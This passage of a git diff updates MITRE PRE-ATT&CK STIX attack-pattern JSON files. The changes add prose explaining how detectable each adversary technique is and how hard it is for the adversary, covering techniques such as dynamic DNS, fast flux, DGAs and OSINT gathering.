             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine physical locations",
-            "description": "Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Most corporations now list their locations on public facing websites.  Some challenge still exists to find covert or sensitive locations.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Most corporations now list their locations on public facing websites.  Some challenge still exists to find covert or sensitive locations."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c.json b/pre-attack/attack-pattern/attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c.json
index bdf488c547..79d16f5b24 100644
--- a/pre-attack/attack-pattern/attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c.json
+++ b/pre-attack/attack-pattern/attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ee302d9c-ff62-4d52-9581-f42f76ec74c2",
+    "id": "bundle--35d75097-cc68-4264-9f1b-e3d71b56f40b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dynamic DNS",
-            "description": "Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a.json b/pre-attack/attack-pattern/attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a.json
index a1500a805b..683f0759ba 100644
--- a/pre-attack/attack-pattern/attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a.json
+++ b/pre-attack/attack-pattern/attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c083b562-a421-43bf-b95e-bd6f8d4d4b5f",
+    "id": "bundle--3a555ddb-cbbe-4d0d-a279-e4029e4888a3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Procure required equipment and software",
-            "description": "An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Outside of highly specific or rare HW, nearly impossible to detect and track.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Outside of highly specific or rare HW, nearly impossible to detect and track.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--23ecb7e0-0340-43d9-80a5-8971fe866ddf.json b/pre-attack/attack-pattern/attack-pattern--23ecb7e0-0340-43d9-80a5-8971fe866ddf.json
index 5b9c34ca74..eaaa3baf42 100644
--- a/pre-attack/attack-pattern/attack-pattern--23ecb7e0-0340-43d9-80a5-8971fe866ddf.json
+++ b/pre-attack/attack-pattern/attack-pattern--23ecb7e0-0340-43d9-80a5-8971fe866ddf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1b7839fc-ac35-4ad8-83fa-3f54464ac85c",
+    "id": "bundle--2087d990-43c9-458a-b172-d6cd9e6017d6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--23ecb7e0-0340-43d9-80a5-8971fe866ddf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine domain and IP address space",
-            "description": "Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public or easily obtainable information by design.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: AS and IANA data are easily available, existing research tools.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public or easily obtainable information by design.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "AS and IANA data are easily available, existing research tools."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--248cbfdd-fec4-451b-b2a9-e46d4b268e30.json b/pre-attack/attack-pattern/attack-pattern--248cbfdd-fec4-451b-b2a9-e46d4b268e30.json
index d4818209b8..cea133ff01 100644
--- a/pre-attack/attack-pattern/attack-pattern--248cbfdd-fec4-451b-b2a9-e46d4b268e30.json
+++ b/pre-attack/attack-pattern/attack-pattern--248cbfdd-fec4-451b-b2a9-e46d4b268e30.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2db32314-9164-4968-a59b-1b30ba3f7ba6",
+    "id": "bundle--16f71d4b-5daf-4e78-b7d3-b12dded1434f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--248cbfdd-fec4-451b-b2a9-e46d4b268e30",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Fast Flux DNS",
-            "description": "A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly.  In single flux cases only IP addresses change for static domain names.  In double flux cases, nothing is static.  Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Fast flux is generally simple for an adversary to set up and offers several advantages.  Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -44,7 +44,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly.  In single flux cases only IP addresses change for static domain names.  In double flux cases, nothing is static.  Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Fast flux is generally simple for an adversary to set up and offers several advantages.  Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--271e6d40-e191-421a-8f87-a8102452c201.json b/pre-attack/attack-pattern/attack-pattern--271e6d40-e191-421a-8f87-a8102452c201.json
index 956a884ab1..10018d8c6b 100644
--- a/pre-attack/attack-pattern/attack-pattern--271e6d40-e191-421a-8f87-a8102452c201.json
+++ b/pre-attack/attack-pattern/attack-pattern--271e6d40-e191-421a-8f87-a8102452c201.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6f4ac5f-41c8-4e8b-993c-896d49a7ba83",
+    "id": "bundle--9ea3ac4f-1b2f-4d73-b9ce-2b34b73fb10b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--271e6d40-e191-421a-8f87-a8102452c201",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Develop social network persona digital footprint",
-            "description": "Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--274164c6-4297-42d4-84b5-2369e51013fe.json b/pre-attack/attack-pattern/attack-pattern--274164c6-4297-42d4-84b5-2369e51013fe.json
index f6d3075aba..25ee85b81c 100644
--- a/pre-attack/attack-pattern/attack-pattern--274164c6-4297-42d4-84b5-2369e51013fe.json
+++ b/pre-attack/attack-pattern/attack-pattern--274164c6-4297-42d4-84b5-2369e51013fe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3e76f8d4-3f7f-4e14-8afe-6d81e67e4d5f",
+    "id": "bundle--1b74eebb-b861-44d7-befa-1cef0608f2bd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--274164c6-4297-42d4-84b5-2369e51013fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Domain Generation Algorithms (DGA)",
-            "description": "The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This technique does not require a significant amount of sophistication while still being highly effective.  It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This technique does not require a significant amount of sophistication while still being highly effective.  It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768.json b/pre-attack/attack-pattern/attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768.json
index 83d0c36bf7..c165596d8d 100644
--- a/pre-attack/attack-pattern/attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768.json
+++ b/pre-attack/attack-pattern/attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0e7a2fa6-968f-4640-b549-46548f7a6ab2",
+    "id": "bundle--ff24d51d-3c81-4099-ad75-e75e1f2a9775",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain/re-use payloads",
-            "description": "A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--286cc500-4291-45c2-99a1-e760db176402.json b/pre-attack/attack-pattern/attack-pattern--286cc500-4291-45c2-99a1-e760db176402.json
index 6c50f8154c..cd73a8557e 100644
--- a/pre-attack/attack-pattern/attack-pattern--286cc500-4291-45c2-99a1-e760db176402.json
+++ b/pre-attack/attack-pattern/attack-pattern--286cc500-4291-45c2-99a1-e760db176402.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--02e03eae-80db-409b-b186-2406e962dd83",
+    "id": "bundle--4277638b-408c-4fd8-8426-7ea6a08c101f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire and/or use 3rd party infrastructure services",
-            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: 3rd party services highly leveraged by legitimate services, hard to distinguish from background noise.  While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "3rd party services highly leveraged by legitimate services, hard to distinguish from background noise.  While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca.json b/pre-attack/attack-pattern/attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca.json
index 56e4638c91..f7fb34244e 100644
--- a/pre-attack/attack-pattern/attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca.json
+++ b/pre-attack/attack-pattern/attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5c1ef7da-32a3-4793-9089-1510b4fea86b",
+    "id": "bundle--37f26731-4ab6-4c5a-b8f4-011efe170740",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify web defensive services",
-            "description": "An adversary can attempt to identify web defensive services as [https://www.cloudflare.com/ CloudFlare], [https://github.com/jjxtra/Windows-IP-Ban-Service IPBan], and [https://www.snort.org/ Snort]. This may be done by passively detecting services, like [https://www.cloudflare.com/ CloudFlare] routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can attempt to identify web defensive services as [https://www.cloudflare.com/ CloudFlare], [https://github.com/jjxtra/Windows-IP-Ban-Service IPBan], and [https://www.snort.org/ Snort]. This may be done by passively detecting services, like [https://www.cloudflare.com/ CloudFlare] routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Active service detection may trigger an alert.  Passive service enumeration is not detected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Active service detection may trigger an alert.  Passive service enumeration is not detected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)"
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a.json b/pre-attack/attack-pattern/attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a.json
index b0c7444777..e1e42d71f1 100644
--- a/pre-attack/attack-pattern/attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a.json
+++ b/pre-attack/attack-pattern/attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--170ebb70-ecaa-4f79-85e8-95aed974416d",
+    "id": "bundle--a35de759-8f85-4d2d-96f4-8747ba641c4c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire OSINT data sets and information",
-            "description": "Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest.  Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest.  Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This activity is indistinguishable from legitimate business uses and easy to obtain.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--2c8a9df4-52a9-4770-94b3-5e95ab7d59f9.json b/pre-attack/attack-pattern/attack-pattern--2c8a9df4-52a9-4770-94b3-5e95ab7d59f9.json
index 4ba66258f9..17aa785fb1 100644
--- a/pre-attack/attack-pattern/attack-pattern--2c8a9df4-52a9-4770-94b3-5e95ab7d59f9.json
+++ b/pre-attack/attack-pattern/attack-pattern--2c8a9df4-52a9-4770-94b3-5e95ab7d59f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3a5920e7-6fb0-49a2-a61a-45e137b1e618",
+    "id": "bundle--67bc64d1-0171-40e0-9ddd-61a2a336c6a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2c8a9df4-52a9-4770-94b3-5e95ab7d59f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Leverage compromised 3rd party resources",
-            "description": "The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access  gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
